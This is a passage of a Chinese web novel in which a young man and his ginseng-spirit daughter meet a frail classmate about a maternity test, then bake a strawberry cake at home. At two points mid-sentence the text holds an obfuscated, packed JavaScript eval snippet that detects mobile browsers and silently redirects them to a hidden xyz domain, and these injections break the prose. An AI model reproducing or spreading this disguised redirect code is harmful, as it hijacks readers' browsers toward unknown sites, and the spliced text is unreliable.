肠粉、茶叶蛋、豆腐脑、生煎包、鸡蛋灌饼、豆浆,父女俩一顿早餐种类丰富,大多进了裴以砚的肚子。 养崽半个月,崽没胖,他倒是胖了。 裴以砚不能忍受自己变成死肥宅,于是网购了一对杠铃,到货了就开始健身。 “爸爸别吃啦。” “爸爸,你快停下,给妈妈留一份早餐啊。” 年轻的面孔和稚嫩的呼唤引得店里食客们频频回头。 “……闭嘴。” 生怕小丫头再语出惊人,裴以砚一改懒散跟按了加速键似的扫荡完,拉着她出了店。 一大一小慢悠悠在大街上溜达消食,途中路过一家花店,熹熹福至心灵,指着花店欢声:“爸爸,给妈妈送一束花吧,妈妈最喜欢花啦。” 裴以砚看了眼,直接提溜起小孩儿大步往前。 到了没人的地方,他放下哇哇叫的小团子,低着眸,声音微沉: “现在不能确定她是你妈妈,即便她真是你的妈妈,那也与我无关,我不是她的丈夫,没有义务送花哄她开心。” “别把我和你想象中的爸爸联系在一起。” 熹熹眨着眼,嘴唇翕动,尝试解释:“不是的……” 裴以砚却没兴趣听她天真的童言童语,独自转身,冷淡的让她跟上。 熹熹茫然无措的愣在原地,觑着那个高大的背影不悦嘟囔:“臭爸爸以后可别后悔,我等着看妈妈打你屁股。” 随后抬起小短腿左一下右一下蹒跚跟上。 从裴以砚家到孟栀摇家附近的咖啡厅差不多半小时,父女俩提早十分钟出现在咖啡厅。 不多会儿,远处一个俏丽的身影款款走来,清瘦的少女上身一件水粉色毛衣,下身一条杏色针织长裙,脑后微卷的黑发蓬松而柔润。 不施粉黛的面容素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14428135|153812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净而柔婉,眉眼间是江南水乡女子独有的书卷气质。 不需要服务员带路,外形出众的裴以砚永远是人群里最耀眼瞩目的那个。 孟栀摇径自朝裴以砚的方向过去,当对方身边被遮挡的小姑娘露出来时,孟栀摇顿了顿。 眼底的惊讶和好奇一闪而过。 既庆幸对方不是被盗号,又意外裴以砚竟然带着一个小姑娘和她赴约。 不过她不介意,小姑娘正好能冲散两个人单独见面的尴尬。 而熹熹在见到孟栀摇的瞬间便绷不住泪花闪烁,只不过谨记和爸爸的约定,没有叫出声,攥着小拳头克制扑进妈妈怀里的冲动。 妈妈一进来她就看出妈妈身体很虚弱,她的生命之树凋零的只剩几片枯黄的叶子摇摇欲坠。 叶子一旦全部掉落,妈妈就会死掉。 妈妈的身体状况比她遇到的任何一个大人都要差。 小人参精宝宝咬住唇,满眼心疼地凝望着孟栀摇,啪嗒掉泪。 裴以砚眉心微皱,没说话,抽了张纸给她。 小姑娘攥着纸巾眼泪流的更汹涌了。 孟栀摇慢慢落座,尽管一时摸不着头脑,担忧的目光也自然地落到熹熹身上:“她是你妹妹?” “不是。”裴以砚跳过这个话题和基本的寒暄,轻淡询问,“你喝什么?” “不用了,我喝水就好。” 孟栀摇声音很温柔,唇珠圆润饱满,像粉色的水蜜桃诱人。 她出门前特意打扮了一番,用心搭配了衣服,涂了唇釉遮盖苍白的唇色,使她看起来气色好些。 她想裴以砚应该看不出来她涂了唇釉,可他为什么一直盯着她看? 孟栀摇不安的垂下了眼皮,避开他意味不明却过分强势的注视。 裴以砚忽地问:“你是不是不能喝咖啡?” 咖啡因会增加心机耗氧量,她这样患有严重心脏病的人更不能碰咖啡。 是他疏忽了,他那时只想着找个安静的地方谈事。 孟栀摇小小舒了口气,笑了下:“没关系。” 外面天气冷,再换地方跑来跑去对她更不利,裴以砚低声:“抱歉。” 孟栀摇连连摇头,脸有点红,说着没关系。 熹熹在一旁看着干着急,爸爸怎么还不进入正题呀,急死个人啦。 “我约你出来其实是因为一件特别的事。”裴以砚不自在的松了松领口,“事先声明,我没病,精神正常。” 他郑重打补丁的行为让孟栀摇直觉事情不简单,愈发好奇他会说什么。 她正襟危坐等着他的下文。 裴以砚仰头喝了口咖啡,擦干嘴角的咖啡渍,大手罩在熹熹脑袋上。 “她可能是你女儿。” 速战速决,裴以砚像被逼上梁山的好汉,顶着一口气视死如归且面不改色的说: “熹熹是我的女儿,我和她做过亲子鉴定,已经确认了父女关系,这半个月以来她一直在找她的妈妈。” “昨天她在朋友圈翻到了你的照片,认出你是她的妈妈。” “所以,我今天约你出来的目的是想问,你愿不愿意和熹熹做一次亲子鉴定?当然,费用由我承担。” 孟栀摇:“……” 空气安静。 她……听到了什么?孟栀摇神情恍惚,眼神都不聚焦了,指尖默默抠着掌心。 他病了。 怎么办,要打电话吗? 孟栀摇睫毛颤颤,睨了眼裴以砚,又迅速垂眸。 她现在没法做决定,孟栀摇脑子里一团乱,他前段时间请假就是因为生病吗? 年纪轻轻就患上精神方面的疾病,一定很受折磨,总习惯独来独往,是怕被人发现异常吧。 撞破了裴以砚‘秘密’的孟栀摇鼻尖泛酸。 内心一片迷茫,她该如何劝他就医,配合治疗,他那么我行我素的人会愿意听她的建议吗? 时间一点一点流逝,裴以砚耐心的等着对方的回复。 13. 13 良久的沉默。 熹熹急成热锅上的蚂蚁,一双眼睛眨来眨去,接着托腮叹气,大口大口吃起了甜品。 裴以砚也等的有些忐忑,谨慎的考虑了会儿,主动打破了沉默。 他倾身低语:“你有什么想法或者疑问不用避讳,直接和我说就行。” 话一出口,孟栀摇紧张的抿抿唇。 他急了,孟栀摇觉得应该先稳住他,她抿一口水润润喉,小心翼翼看他: “这件事还有其他人知道吗?” “你指的是哪件?”裴以砚眉梢微抬,“我和熹熹的关系,还是你和熹熹的关系?” 话是这么说,其实他已经笃定了她和小朋友的关系。 孟栀摇结结巴巴:“都问……可以吗?” “加上你,就我们三个知道。” 还好,不算晚,还有机会从长计议。 孟栀摇握住被子的指尖悄悄松了松,继续绞尽脑汁地想对策。 裴以砚很满意她的反应,原本他还担心她会一惊一乍,或是把他当成骚扰人的神经病,送他三进局子。 毕竟正常人听到这种事都会难以置信,她却能保持冷静理智。 基于这点,裴以砚刷新了对孟栀摇的印象。 他放心的说出下步计划:“如果你没意见的话,我希望你和熹熹可以尽快做亲子鉴定,弄清真相刻不容缓,你哪天方便?” 听到亲子鉴定四个字,孟栀摇指尖抖了下。 “一、一定要做吗?” 每句话出口前她都一再三思,就怕哪句不对刺激到他,加重病情。 大庭广众之下,店里还有许多顾客,她不能冒险。 “当然要做。”裴以砚不容置喙道。 转念一想,对方的身体情况不适合奔波和劳累,语气便软和了些:“就一趟,很快的。” “可以不用采血,毛发也行。” 孟栀摇蝴蝶般的长睫轻眨,面上看不出什么破绽。 内心却陷入了配合他演一场,还是义正严词拒绝他的纠结里。 思来想去,她不自在的拢了拢耳边碎发,淡眉轻拢,委婉回应他: “裴以砚……我没谈过恋爱,从来没有。” 她收到过的情书有一抽屉那么多,可她没拆开过一封,自然也没回应过谁,给过谁希望。 孟栀摇在心里轻喃,这样他能明白吗? “嗯,巧了。”裴以砚没什么表情:“我也没有。” “???” 孟栀摇错愕抬头。 视线中是对面一大一小两张犹如复制粘贴,表情却截然相反的脸。 大的那个:-_- 小的那个:\(^o^)/~ 孟栀摇:…… 裴以砚不是很想继续这个话题,因为他自己都还懵逼着,不知道孩子从哪来的到哪儿去,又怎么解释给对方听。 而且他若判断无误,闺女没认错妈妈,孟栀摇估计跟他一样一问三不知,同为被命运讹中的倒霉蛋。 怨念深重的裴以砚一阵烦躁:“不说了,你哪天有空?” 孟栀摇心口一颤,无意识张嘴:“明天——” 正好明天周一人少,裴以砚点点头:“那还是这里见?” 孟栀摇有气无力的嗯了声。 总归她找的是他,而不是别人,有认识的人在身边看着,比他在街上随便拉个人做亲子鉴定好。 聊得差不多了,裴以砚不想耽误孟栀摇的时间,于是牵着熹熹起身告别。 萍水市是不会下雪的,但冬天湿冷,有时还会刮风下雨,天气阴晴不定,早点回去安心些。 熹熹依依不舍的一步三回头,她还一句话都没跟妈妈说! 妈妈也没有像从前那样叫她乖宝,给她香香软软的抱抱和亲亲。 小人参精宝宝不甘心的瘪瘪嘴,越想越委屈心塞。 突然出其不意挣脱开爸爸的手,拔腿跑到孟栀摇跟前,脱口而出: “麻麻!唔——” 安静的咖啡厅里,小姑娘响亮的一嗓子犹如暂停键,微微嘈杂的背景音静了下来,四周投来惊诧的目光。 联想到嘉木高中闹得沸沸扬扬的学生偷尝禁/果,女孩儿意外怀孕的事件,众人打量的眼神霎时变得意味深长。 孟栀摇尴尬的想找个地洞。 裴以砚大手捂住了熹熹的小嘴,沉着脸,从牙缝里挤出几个字:“你忘记答应过我什么了?” 熹熹摇头,她当然没忘呀,不然早扑进妈妈怀里了。 裴以砚拎小鸡仔似的把小丫头拎出门,转身居高临下阴恻恻盯着质问: “那你刚才在做什么?” 爸爸凶巴巴的目光没吓唬住小丫头,熹熹梗起小脖子,理不直气也壮的回道: “熹熹又没叫妈妈,熹熹叫的是麻麻,不是说话不算数!” “?” 屁点大的小玩意还会耍小聪明了,文字游戏玩儿的挺熟练啊,裴以砚气笑了。 他一手叉腰,正想好好教训一下她,一个散发着淡淡香气的纤细人影冷不丁挡住了视线。 裴以砚眼皮动了动。 “没关系的,误会而已。” 顾不上忐忑的情绪,孟栀摇壮着胆子跟了出来,把熹熹护在身后。 勇敢对上处于愠怒中的裴以砚:“我不生气,不介意。” 裴以砚乌沉沉的长眸轻扬,掩过一闪而逝的诧然。 孟栀摇心怦怦跳,指尖不着痕迹掐了掐手心稳定心神,强撑着不退缩。 她能感觉出对方不是真的动怒,虽然表情骇人,可眼神平静清明,不似阴雪天的沉郁阴翳。 推测他就是做做样子吓唬小孩儿,而她只是出于维护弱小的本能站出来。 果不其然,裴以砚没有一点被横插一脚的不悦。 反而干脆利落的说道:“抱歉,小孩儿不懂事,见谅。” 孟栀摇知道她赌对了,心里不禁有些开心,莞尔一笑:“不用道歉,谢谢你请我喝咖啡。” 裴以砚静默半晌,才又开口:“你有哪些忌口的?” 他个子快一米九,孟栀摇与他差着二十五公分距离,她只能费力仰着脖子看他。 四目对视,孟栀摇讷讷:“什么?” 隔得远,偶尔会空耳。 “没什么。”裴以砚拧起的眉心慢慢舒展,自顾自说道,“我回去查查。” 尚显青涩的少男少女各怀心事低声交谈,促成这幕的小团子游离在状况外。 熹熹昂着小脑袋,想又不敢的贴近孟栀摇,将她从上到下仔仔细细的看一遍。 妈妈的脸好小,手腕好细,皮肤好苍白。 妈妈比二十年前瘦好多呀,感觉风一吹就要被刮走了,这二十年一定没吃饱过饭。 熹熹难过地揉了揉鼻子。 小人参精黯然神伤三秒,忽而计上心头,龇牙咧嘴的拔下一根头发,晃晃脑袋,软软的小手戳了戳孟栀摇。 孟栀摇回眸。 熹熹扬起笑脸,把珍贵的头发丝塞进她手里。 “麻麻,熹熹的头发给你当护身符,身体不舒服的时候可以闻一闻它,很管用哒!一定不能丢哦,记得随时带在身边。” 人参精宝宝的一根头发就是一根人参须,不仅能驱邪避祸,当护身符使用,更是病入膏肓之人的救命药。 平时有个胸闷气短,头疼脑热的拿起来闻一闻,症状立马消散,全程无副作用,吊打任何一款止痛药。 熹熹一心想救妈妈,可她眼里的人参须在旁人眼里只是一根毛也没用的头发丝。 小朋友态度殷勤,清澈的大眼睛里全是期待。 孟栀摇堪堪从小姑娘那声麻麻里回神,低眉轻扫手心那根比羽毛还轻飘的发丝,心间涌上温暖的感觉。 她眼神流动着温和的光彩,当着熹熹的面郑重的把礼物放进口袋里。 蹲下身认真的道谢:“好,我收下了,谢谢你啊小朋友。” 小朋友……熹熹坚强的吸了吸鼻子,没事哒,妈妈现在还不认识她,等认识了她又是妈妈的乖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467207|153812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝啦。 “不用谢~”她昂首挺胸,大大方方自我介绍,“麻麻,我叫熹熹,你可以叫我小乖宝呦。” 孟栀摇忍俊不禁。 她社交范围有限,家族里的小朋友基本和她一样腼腆内向,鲜少有像熹熹这样落落大方,热情主动的小朋友。 平心而论,熹熹不大像性格孤僻冷漠的裴以砚能生出的女儿。 少女白皙温婉的面庞蕴着宁静与温柔:“熹熹,你也可以叫我孟姐姐。” 熹熹钻漏洞喊孟栀摇麻麻是思念满溢,情不自禁的结果,骨子里是个听话的宝宝。 和裴以砚在一起生活的半个月,她已经明白当初下山,为什么蘑菇姐姐和花花阿姨说—— 现在的爸爸妈妈不是从前的树灵爸爸和断肠草妈妈。 他们是爸爸妈妈身死道消后残留于世界的一缕魂魄,必须在人间修行一百年才能重新归位,回到山里与她团聚。 在孟栀摇柔软但始终隔着距离的目光里,三百岁的小人参精不得不接受了这个事实。 她不再执着于叫麻麻,懂事的尊重妈妈的想法,不给她造成困扰和麻烦。 熹熹忍着心底的酸涩,迅速收拾好心情,笑盈盈和孟栀摇挥手告别。 紧接着一言不发的跟裴以砚回了家。 回到家的熹熹没有开电视看她最爱的汪汪队,闷闷不乐的坐在飘窗边,背对着人,不知道在想什么。 裴以砚鼓捣了十分钟电脑,然后拿着水杯起身到饮水机旁,余光快速瞥过那边的小人影。 脸比粪坑里的石头还臭,他都没跟她算刚才的账,她还有了脾气,给她惯的。 裴以砚身子向后倚,不屑冷哼,指望他跟孙子似的低声下气去哄?想得美! 新手爸爸冷酷的移开目光,仰头咕噜灌水,吞咽声从所未有的响亮,动作粗鲁的放下水杯,噼里啪啦敲键盘。 接二连三的噪音令人无法忽视,那是在某些公共场合会被人叉出去的程度。 飘窗边小团子抖抖小揪揪,一点点扭过身子,直直看向裴以砚。 “爸爸。” 这声爸爸不像往常那样活力亲昵,显而易见的萎靡迟疑。 不对劲,是不是生病了?裴以砚当即抬头,眉头揪的死紧。 “干什么?” “爸爸……我、我想告诉你一个秘密,但是我怕你会害怕。” 熹熹两只小手在胸前搅动,分不清是羞怯多一点还是坐立难安多一点,俨然欲言又止。 裴以砚拉不下面子当知心慈父,硬邦邦丢出一个字:“说。” 熹熹:“那你可不可以先保证不逃跑,不告诉别人?” 习惯了女儿的笑嘻嘻不着调,她突然的胆怯和不自信让裴以砚内心不再淡定,一颗心七上八下的。 她是炸人粪坑了,还是把银行抢了? “我保证,你说。” “就是……”熹熹啃着手指头,语调怯怯,“熹熹的真实身份是山上的小妖怪,爸爸,你害怕吗?” 她有点不好意思又有点骄傲:“唔,就是可以变身那种,我可以变成一株大大的人参。” 说完,熹熹期待的等着裴以砚的回答。 已经做好要帮闯祸的女儿擦屁股的准备,结果是对他拉了一坨大的裴以砚:“……” 裴以砚脸黑的不成样子。 他深呼吸几个来回,咬牙切齿:“没了?这就是你要和我说的秘密?” “嗯嗯!”熹熹急忙说,“这是熹熹最大的秘密,爸爸你要帮熹熹保密,先不要告诉妈妈。” 现在的爸爸妈妈不知道她是小妖怪,她担心爸爸妈妈会被她的身份吓跑,虽然只要她不说,他们就不知道。 可她不想隐瞒他们,在这个世界上爸爸妈妈就是她最亲的家人,她怎么能隐瞒亲人呢? 好妖怪不能骗人! 所以她计划等和妈妈的相认之后,她再当着爸爸妈妈的面变身给他们看,给他们看看她无敌威武霸气的真身~ 现在嘛,先给爸爸预个警。 14. 14 白天不懂夜的黑,就像裴以砚不懂小人参精的良苦用心,他扯着嘴角,皮笑肉不笑。 “就你那破秘密还当宝,不说出去给我丢人就谢天谢地了。” 这段时间因为她,他经历了成年后最多的社死,小丫头简直是名副其实的漏风棉袄。 熹熹环臂,丝毫不在意爸爸的嘲讽,反而得意洋洋: “我知道你不相信,不过我提醒过你啦,到时候你可别被我吓一大跳哦。” 裴以砚哂笑着收回目光,不再搭理小家伙。 公开了秘密的熹熹又变回开朗的小太阳,噔噔噔爬上沙发,指挥裴以砚帮他打开电视机。 又是汪汪队,裴以砚瞥她:“这几只狗子都看一周多了,还不腻?” “不腻呀,毛毛小砾阿奇灰灰天天超级厉害的!” 平时他在客厅边敲代码,边一心二用陪熹熹看动画片,到现在也没分清那几只狗子谁是谁。 裴以砚随口问:“怎么个厉害法儿?” “他们都会说话呀。”熹熹用那稚嫩的小奶音说,“它们和熹熹一样也是小妖怪~” 妈妈说过行走江湖要多交朋友,朋友多了路好走,去哪儿都不怕,下山那么久了她还没交到一个朋友呢。 对一只e人崽崽而言,会说话的狗狗就是她同乡,她当然百看不腻啦。 “都是假的,动画片。” 裴以砚不希望女儿过于傻白甜,很没童趣的戳破熹熹美好的幻想。 熹熹捏了捏怀里的抱枕,撇撇嘴:“我知道啊,那咋啦。” “假的我也喜欢!”熹熹翘起小短腿,哼哼白他一眼,“你们男人呀就是不解风情,大木头。” 裴以砚:??? 不是,这些乱七八糟的话是谁教她的,汪汪队还播这些台词? 熹熹优哉游哉侧躺在沙发里,一手支着小脸,一手把玩着遥控器,圆乎乎的脚指头像小猫咪脚掌开花收缩自如。 小人参精鼓捣着遥控器,一个不小心退出了动画片,跳出短视频界面。 现在大电视功能齐全,不局限于刷电视剧,还能下载各种app,比如微信、游戏、其他视频软件等等。 无意间触发到额外功能的熹熹愣住。 她坐直了身子,抓抓小脸蛋子,斜瞄一眼裴以砚,打消了寻求帮助的想法。 唔,她刚刚摁到哪里来着。 小人参精仔细回想了下,伸出蠢蠢欲动的小胖爪,吭哧一通乱摁。 【宝宝们,早上好呀,今天甜柚打算做一个明星同款的草莓奶油蛋糕,冬天怎么能没有好吃的甜品呢,废话不多说,正片开始咯。】 熹熹:!! 那是什么? 小人参精被美食博主做甜点的视频深深吸引住,眼珠子死死黏在电视机上。 博主的剪辑手法和拍摄角度搭配的天衣无缝,草莓在滤镜的加持下显得又大又红又湿润,给人一种隔着屏幕都能闻到果子清香的错觉。 打发奶油的过程也是看得小丫头惊呼连连,绵密柔滑的奶油犹如泡发了的云朵,白白软软。 “天哪,鸡蛋变成一大盆白白的云朵了!” “爸爸快看,这个姐姐会用云朵画画!” “大惊小怪。” 裴以砚毫无波澜。 熹熹杏眼变成桃心眼,俨然一副成为博主小粉丝的表现,不要钱的彩虹屁一茬接一茬,用词还不重样。 “这个姐姐好厉害啊,她是一定是仙女吧,只有仙女才会有这么棒的法术,熹熹都不会!爸爸,我说的对吗?” 对个屁,裴以砚莫名不爽:“一个蛋糕而已能有多难做,你别像个小土包子一惊一乍。” 小土包子瞪圆眼:“你会做啊?” 裴以砚一噎,避重就轻道:“没试过。” 熹熹:→_→ (ˉ▽ ̄~)切~~ 小崽子那是什么眼神,鄙视他? 裴以砚面子上挂不住,强行挽尊:“我不喜欢吃蛋糕所以不做,不等于不会。” “真的?”熹熹瞅他一眼。 裴以砚冷傲轻瞥:“爱信不信。” “我信!” 熹熹态度一百八十度大转变,眼冒桃心看他,小嗓音甜的冒泡:“爸爸做的草莓蛋糕肯定超好吃,我想吃草莓蛋糕,爸爸做给我吃叭。” 女儿的夸奖让裴以砚很受用,但女儿的要求恕难从命。 他一个面条都会煮得半生不熟的人,哪会做什么蛋糕,忽悠下小孩儿罢了,谁知道小孩儿当真了。 裴以砚不接茬,假装听力不好,熹熹却没有轻易放过他。 “爸爸,你怎么不说话啊。” “你怕了吗?” 激将法都用上了。 裴以砚装聋失败,他磨磨牙,他这算不算搬起石头砸自己的脚,没事儿逞什么能。 他没好气:“行了别吵了,我找找看。” 他打开外卖软件查看附近的蛋糕店,目标明确,直奔草莓蛋糕。 熹熹高高仰着头,瞄到屏幕界面皱起了小脸:“熹熹要吃爸爸做的蛋糕。” 小丫头不好糊弄,一门心思的就要吃爸爸亲手做的。 裴以砚被闹的烦了,又狠不下心凶女儿,只能摆着一张臭脸企图吓退她。 可惜错估了熹熹的胆子,朝夕相处的日子里她早摸清了他的脾气。 她的爸爸虽然脾气差,比从前凶很多,但他不会伤害自己。 现在的爸爸就是一只调皮的大老虎,只会亮爪不会挠人。 半个小时以后,裴以砚顶着张冰山脸提着一兜食材和烤箱从超市回来,洗干净手系上围裙,点开教学视频逐帧观看。 裴以砚不爱吃甜点,在制作甜品方面的知识一片空白。 好在他脑子好,记忆力强,看一遍就能记住步骤,碰到的最大阻碍是适量白糖是多少?适量淡奶油又是多少? 这些都要全随他的手感来,让他这个临时抱佛脚的厨子很是头痛。 第一次打奶油因为控制不好力道和角度溅了自己满身,黑色毛衣沾染上白花花的奶油,洁癖发作的裴以砚登时脸一青,恨不得立马脱下衣服去洗澡。 这活谁爱干谁干吧! 他一边生闷气,一边暗自跟奶油较劲。 熹熹转身去客厅拿了纸巾过来:“爸爸,熹熹帮你擦擦。” 小团子使劲踮起脚尖,伸长小手去够。 裴以砚:“没事,反正衣服也要扔了,不用擦。” 他不喜欢黏腻的东西,沾上了奶油总觉得会洗不干净,所以干脆扔了省事。 熹熹睁大眼瞧了瞧,觉得扔了怪可惜的。 “爸爸,你是不是懒得洗衣服呀?” “嗯。”裴以砚睨她,“怎么,你要帮我洗?” 熹熹伸出两只短乎乎的小手,为难:“不行,熹熹手手小。” “那你废什么话。” 熹熹不生气,她觉得认真做蛋糕的爸爸超帅的! 小姑娘甜糯糯的说:“爸爸,等熹熹长大用小叶子给你做一件漂亮的衣服,这样你的衣服就不会脏,也不用天天洗啦。” 植物类小妖怪身上的叶子和花朵是世界最特殊珍贵的制衣材料。 好比花花阿姨用她的花瓣给熹熹做的小裙子,不但百毒不侵,刀枪不入,冬暖夏凉,还有倍儿实用的自洁功能。 就算弄脏了也不用洗,过五分钟就会刷新干净,根本不用换衣服。 平时熹熹就拿小裙子当保暖衣来穿,偶尔洗一两次也是裴以砚觉得它脏,偷偷丢进洗衣机里洗的。 裴以砚左耳进右耳出,不耐的说:“你没事就去看电视。” 厨房是个隐含潜在危险的地方,不是小朋友该呆的。 熹熹自己去搬来一个小板凳坐下,湿漉漉的圆眸里满是崇拜和幸福:“爸爸,熹熹陪你。” 裴以砚忙的热火朝天,抽空嘱咐她别乱动,顺手把厨房各类道具全都收好了。 接着,把装好蛋糕胚面糊的盆放进烤箱,时刻盯着烤箱里的动静,几乎与烤箱设置的时间动作同步。 烤箱刚发出叮的声响,裴以砚就把熹熹赶远了,自己戴上手套开烤箱。 蛋糕独特的香气喷涌而出,整个厨房都弥漫着甜味,熹熹鼻翼翕动,伸长脖子巴巴的看:“爸爸,好香呀,蛋糕是不是做好啦?” 裴以砚眼皮轻轻一跳,蛋糕胚最中心的部分焦糊了,活似被烟头烫了一个洞。 “嗯。”他脸不红心不跳应声,“马上好了。” “咦。” 小丫头眼神好的不得了:“为什么中间是黑黑的呀?” 熹熹下山后吃的不是外卖,就是刘姨的饭,两样都是色香味俱全的成品,没见过烧糊的菜,自然认不出那团黑黑的是什么。 裴以砚目不斜视的帮助蛋糕胚脱模,轻咳着说:“没事,上了个色。” “!” “爸爸,你比电视上的姐姐还厉害,姐姐都不会上色,你#%*¥&*……”熹熹巴拉巴拉夸了一箩筐。 裴以砚面色涨红,听了两句就叫停。 等蛋糕胚稍微放凉些就可以挤奶油裱花,裴以砚没什么艺术细胞,手艺活烂的一塌糊涂。 萌萌哒奶油蛋糕做成月球表面,坑坑洼洼,凹凸不平,只能拼命铺水果补救。 最后的成果连他自己都看不下去,毫无疑问是一个失败品,算了,点外卖吧。 “哇!” “是草莓蛋糕耶~” 灶台前啵一下冒出一个毛茸茸的小脑袋,小兔子似的两眼放光。 “爸爸,你真的做出来啦,你好聪明呀。” 直白且饱含真情实感的夸奖令裴以砚愣了愣,原以为有些娇气的漏风小棉袄会挑剔他做的蛋糕四不像,没想到她竟然变成了捧场王。 怪会哄人的。 裴以砚胸腔瞬间有种被塞得满满的感觉。 他以拳抵唇:“夸张了,你别弄的像个马屁精。” “爸爸,我夸你你怎么还骂我。”熹熹不解的嘟囔,水亮亮的眸子仿佛住满了萤火虫,纯净的让人无法忽视,“熹熹的爸爸当然是最棒的啊,这还用说嘛。” 裴以砚心跳一静,突然有点明白了网上那句尸体暖暖的话是什么意思。 过了片刻,他伸手捏了捏小棉袄的脸蛋:“想不想要零花钱?” 大概是因为周薏每月都会给他打一大笔钱,在如此的潜移默化下裴以砚便默认表达爱、回应爱的方式,就是给钱。 熹熹用力点头:“要!” 裴以砚洗洗手,大方从口袋里掏出一百块给小棉袄,鉴于小棉袄太小,他特意科普了两句。 “钱可以用来买东西,例如糖、牛奶、水果,肯德基。” “那熹熹要吃肯德基!” “随便你。” 裴以砚做的是四寸小蛋糕,一天就能吃完,担心熹熹一次性吃的太多,他把蛋糕分成六份,剩下的放冰箱里。 味道有一些古怪,甜中带苦,但不至于难以下咽,熹熹一口气吃完就飞快窝回沙发里小憩。 哎呀,哄爸爸真是太费小妖怪啦。 * 孟家。 门打开的一瞬,暖气争先恐后往外涌,听见玄关处的响动,等在客厅里的优雅贵妇人赶忙走过去。 “去哪儿了摇摇?”宋凌三步并两步,拥着孟栀摇进屋,焦声责怪,“怎么穿这么点,冻坏了可不得了,快进来喝茶暖暖。” “和同学出去随便逛了逛,透透气。”孟栀摇温声安抚,“没事的妈妈。” 宋凌一摸女儿的脸,冷的一颤,不满中带着紧张:“瞧你脸冻的,这么冷的天少出门,等天气暖和了妈妈陪你出去走走。” 宋凌是全职太太,早在孟栀摇出生后不久她就辞了工作,回家专心照顾她。 女儿的健康就是她最关心在意的事,女儿是她生活的全部重心。 孟栀摇接过宋凌递来的热茶,坐在沙发里捧着暖手:“妈妈,我明天早上还要出门一趟。” 宋凌眉头直皱:“明天3℃,太冷了,又是你同学约你吗?” 孟栀摇软软应声,慢条斯理的说:“我看过天气了,明天是个大晴天,不会很冷的,我早去早回。” 宋凌心里不大愿意。 孟栀摇主动握住她的手,撒娇般的请求:“我一定早点回来。” 她一撒娇,宋凌禁不住心软了。 女儿从小就很懂事,知道自己身体不好,不愿意让家人担心,一年到头出去玩儿的次数屈指可数,很让他们省心。 可孩子大了也不能一直将她拘在家里,医生嘱咐过适量的散心有助于她的身体。 宋凌妥协了:“好吧,那你们要去哪儿?妈妈开车送你去。” 孟栀摇:“不用,我同学约好了车,我们去市里转两圈就回来了。” 亲子鉴定流程不复杂,一来一回两小时应该够用了。 征得了宋凌的同意,孟栀摇就不用偷摸着出门,低眸琢磨明天穿什么衣服出门好。 暖气开的太足,孟栀摇后背闷出热汗来,她准备上楼换衣服。 刚起身,宋凌忽然叫住她:“摇摇,你等下。” 宋凌挽着女儿的手,笑吟吟的说:“你去美国的签证妈妈已经办好了,等过完年妈妈就陪你去美国治疗,那边的医院我和你爸爸都联系好了,一落地就能住进去。” 孟栀摇怔然,愣声:“不是说要等我高考完再……” “别担心,国外大学也很不错的。”宋凌说道,“你的病拖不得,美国那位大专家好不容易有了时间,愿意接收你,咱们得抓紧时间过去,早一天治我和你爸就早一天放心。” 孟栀摇抿唇不语。 宋凌见状笑容淡去,叹了口气:“摇摇,妈妈知道你舍不得你的朋友们,但那些都是次要的,治病才是第一位,咱们得分清轻重缓急啊。” 孟栀摇凝滞的眸子动了动,声音淡的缥缈:“那如果我回不来了,怎么办?” 宋凌脸一白,当即大声呸了呸,双眼泛起了水光,劈头盖脸训斥了孟栀摇一顿。 直至孟栀摇松口答应去美国,宋凌才勉强停了下来。 “我累了,先回房间休息了。”打完招呼,孟栀摇提着围巾上楼。 一关上门她就脱下毛衣和针织裙,换上轻薄的睡裙,身上仿佛卸下了万斤装备,轻松了不少。 孟栀摇喘了两口气,抬脚往床的方向走,下一刻停顿了下。 脚底传来一股异样,好像踩到了什么,她挪开脚,低头看了看。 是一截乳白色的东西。 孟栀摇好奇的蹲下身捡起来,拿在手里细细软软的一根,不用刻意凑近就能闻到浓浓的人参味。 因为自小体弱多病,她是个药罐子,中药西药吃了个遍,整个家里没人会比她更熟悉药的味道,所以不会认错的。 孟栀摇懵然。 她房间为什么会出现一根人参须? 从哪儿来的? 她最近没喝中药,而且房间每天都有专人打扫,地上一根那么明显的人参须,打扫卫生的阿姨怎么可能看不到。 孟栀摇觉得奇怪,没想出个所以然来,随手把人参须放在床头柜上,躺倒在了床上休息。 她一觉睡到日薄西山,不知道是不是错觉,今天睡醒精神好了许多。 平时不管睡没睡饱都会心口闷痛,头晕恶心,所以她的睡眠质量一直不怎么好,尤其晚上总是睡的断断续续,经常惊醒。 趁着现在精神头好,孟栀摇把藏在柜子里的材料包和绒花取了出来。 她的卧室里放着一台小小的缝纫机,在家里养病的时候,她会抽空做点小手工消磨时间,分散注意力。 家里客厅挂着的一副福禄寿三仙刺绣图,就是她花三年时间绣完的。 她喜欢动手做些自己力所能及的东西,可以填补她心里的某块空虚。 * “这个不能带,放回去。” “啊,为什么不可以?妈妈也喜欢吃甜甜的食物!” “这是我做的,不能拿。”裴以砚冷声命令熹熹把蛋糕放回原位。 熹熹据理力争:“这是给妈妈的见面礼,昨天都没有送礼物给妈妈!” 裴以砚绷着脸:“我自有安排,你少操心。” 